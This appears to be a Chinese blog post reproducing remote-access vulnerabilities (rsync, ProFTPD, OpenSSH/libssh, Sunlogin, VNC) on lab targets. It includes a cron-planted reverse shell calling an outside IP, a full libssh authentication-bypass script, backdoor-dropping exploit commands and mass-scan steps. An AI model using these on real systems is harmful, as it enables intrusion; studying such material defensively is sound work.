远程访问安全:rsync、ProFTPD、OpenSSH和VNC漏洞分析

发布于:2024-08-21 ⋅ 阅读:(34) ⋅ 点赞:(0)


在当今高度互联的数字时代,远程访问工具已成为企业和个人日常工作中不可或缺的一部分。然而,这些工具在带来便利的同时,也可能成为网络安全的潜在威胁。本文将深入探讨几种常见远程访问服务和工具的安全漏洞,包括rsync、ProFTPD、OpenSSH、向日葵远程控制和VNC。通过实际案例和漏洞复现,我们将揭示这些工具可能面临的安全风险,并提供相应的防护建议。

rsync

  1. 未授权访问

    1. 概念
      1. rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
    2. 复现
      1. 靶场

        1. vulfocus/rsync-common:latest
      2. 判断是否存在漏洞rsync rsync://123.58.224.8:24947

      3. 读取文件夹: rsync rsync://123.58.224.8:24947/src

      4. 下载文件:rsync rsync://123.58.224.8:24947/src/etc/passwd ./

      5. 上传文件:rsync -av passwd rsync://123.58.224.8:24947/src/tmp/passwd

      6. 反弹shell:

        1. 获取目标服务器的任务信息rsync rsync://123.58.224.8:24947/src/etc/crontab /root/cron.txt

        2. 创建文件chmod +x shell

        3. shell文件内容:

          1.   #!/bin/bash
              /bin/bash -i >& /dev/tcp/43.139.186.80/5566 0>&1
            
        4. 给予执行权限chmod +x shell

        5. 上传文件rsync -av shell rsync://123.58.224.8:24947/src/etc/cron.hourly

        6. nc监听,等待定时任务触发nc -lvvp 5566

    3. 个别工具检测
      1. 工具:

        1. kali自带的msf
      2. 过程

        1. msfconsole
        2. use auxiliary/scanner/rsync/modules_list
        3. set rhost 39.103.170.93
        4. set rport 873
        5. run
    4. 批量工具检测
      1. 工具:

        1. kali自带的msf
        2. 自己准备好大量ip
      2. 过程

        1. msfconsole
        2. use auxiliary/scanner/rsync/modules_list
        3. set rhosts file:/home/kali/Desktop/1.txt
        4. set threads 10
        5. run
        6. 尝试连接

proftpd

  1. 远程命令
    1. 介绍
      1. ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。该软件具有可配置性强、安全、稳定等特点。
        ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。 复制命令使用ProFTPD服务的权限执行,默认情况下,该服务在“nobody”用户的权限下运行。 通过使用/ proc / self / cmdline将PHP有效负载复制到网站目录,可以实现PHP远程代码执行。
    2. CVE-2015-3306复现
      1. 靶场:vulfocus proftpd 远程代码执行 (CVE-2015-3306)

        1. 端口对应:21:43182 80:21905
      2. 工具:exploit-CVE-2015-3306-master.zip

      3. 直接执行脚本即可python exploit.py --host 123.58.224.8 --port 21905 --path "/var/www/html/"

      4. 访问http://123.58.224.8:21905/backdoor.php?cmd=ls成功执行命令

openssh

  1. 信息泄露
    1. 介绍
      1. OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组所维护的一套用于安全访问远程计算机的连接工具。

        OpenSSH 7.7及之前版本中存在用户枚举漏洞,该漏洞源于程序会对有效的和无效的用户身份验证请求发出不同的响应。攻击者可通过发送特制的请求利用该漏洞枚举用户名称

    2. 复现
      1. 靶场

        1. vulfocus/ssh-passwd:latest
      2. 工具:CVE-2018-15473-Exploit

      3. 直接使用工具枚举即可,python sshUsernameEnumExploit.py --port 39378 --userList top_shortlist.txt 123.58.224.8

  2. libssh身份绕过
    1. 介绍
      1. libssh是一个用于访问SSH服务的C语言开发包,它能够执行远程命令、文件传输,同时为远程的程序提供安全的传输通道。server-side state machine是其中的一个服务器端状态机。
        在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以MSG_USERAUTH_SUCCESS在身份验证成功之前发送消息。这样可以绕过身份验证并访问目标SSH服务器。
    2. 条件
      1. libssh 0.6版本以下
    3. 危害
      1. libssh 0.6版本以下任意命令执行
    4. 复现
      1. 靶场

        1. vuifoucus libssh 身份验证绕过(CVE-2018-10933)
      2. 直接使用脚本即可python38 libssh.py 123.58.224.8 61334 "ls"

        1.   #!/usr/bin/env python3
            import sys
            import paramiko
            import socket
            import logging
          
            logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
            bufsize = 2048
          
          
            def execute(hostname, port, command):
                sock = socket.socket()
                try:
                    sock.connect((hostname, int(port)))
          
                    message = paramiko.message.Message()
                    transport = paramiko.transport.Transport(sock)
                    transport.start_client()
          
                    message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
                    transport._send_message(message)
          
                    client = transport.open_session(timeout=10)
                    client.exec_command(command)
          
                    # stdin = client.makefile("wb", bufsize)
                    stdout = client.makefile("rb", bufsize)
                    stderr = client.makefile_stderr("rb", bufsize)
          
                    output = stdout.read()
                    error = stderr.read()
          
                    stdout.close()
                    stderr.close()
          
                    #return output.decode()
                    return (output+error).decode()
                except paramiko.SSHException as e:
                    logging.exception(e)
                    logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
                except socket.error:
                    logging.debug("Unable to connect.")
          
                return None
          
          
            if __name__ == '__main__':
                print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
            //请使用最新版的python运行
          

向日葵

  1. 远程RCE
    1. 介绍
      1. 向日葵远程控制是一款面向企业和专业人员的远程pc管理和控制的服务软件。可以在任何有网络的情况下,轻松访问并控制安装了向日葵客户端的远程主机。同时还能实现远程文件传输、远程视频监控等功能,这不仅为用户的使用带来很多便捷,还能为其提供各类保障。

        Sunlogin RCE 是漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号。

    2. 条件
      1. 影响客户端版本:

        • 11.1.1
        • 10.3.0.27372
        • 11.0.0.33162
    3. 靶场:
      1. 其实这都不用复现因为如果真的可以成功,这不就是成钓鱼软件嘛,废物漏洞直接强制更新

      2. 复现就直接运行xrkRce.exe -h ip地址

VNC

  1. 配置不当
    1. 介绍
      1. VNC(Virtual Network Computing)是一种远程桌面共享系统,它允许用户通过网络连接远程控制另一台计算机。VNC使用RFB(远程帧缓冲)协议,可以在不同的操作系统之间工作,如Windows、Mac、Linux等。它的工作原理是将远程计算机的屏幕内容传输到本地设备,同时将本地的鼠标和键盘输入发送到远程计算机。VNC通常用于远程技术支持、远程办公、教育培训等场景,具有跨平台、易用性高的特点,但也需要注意网络安全问题。在使用时,通常需要在远程计算机上运行VNC服务器,而在本地设备上运行VNC查看器来建立连接。
      2. 但是使用空密码就会导致其他人直接连接上来
      3. 默认端口号:5900
    2. 复现
      1. 靶场

        1. 受害者安装sever,攻击者安装viewer即可
        2. 下载链接:https://pan.baidu.com/s/1SwwfrDIbxdcq_0xKCuPoJQ?pwd=cong
      2. 用nmap扫描扫主机开放5900端口

      3. 尝试用vnc进行连接

      4. 发现可以连接成功

通过对这些常见远程访问工具漏洞的分析和复现,我们可以清楚地看到,即使是广泛使用的软件也可能存在严重的安全隐患。作为网络管理员或IT安全专业人士,我们必须时刻保持警惕,定期更新和修补系统,严格管理访问权限,并采取多层次的安全措施来保护我们的网络资产。同时,对于普通用户而言,了解这些潜在风险也很重要,可以帮助我们在使用远程访问工具时更加谨慎,采取必要的安全预防措施。只有通过持续的学习、vigilance和最佳实践的实施,我们才能在享受远程访问便利的同时,有效地降低安全风险。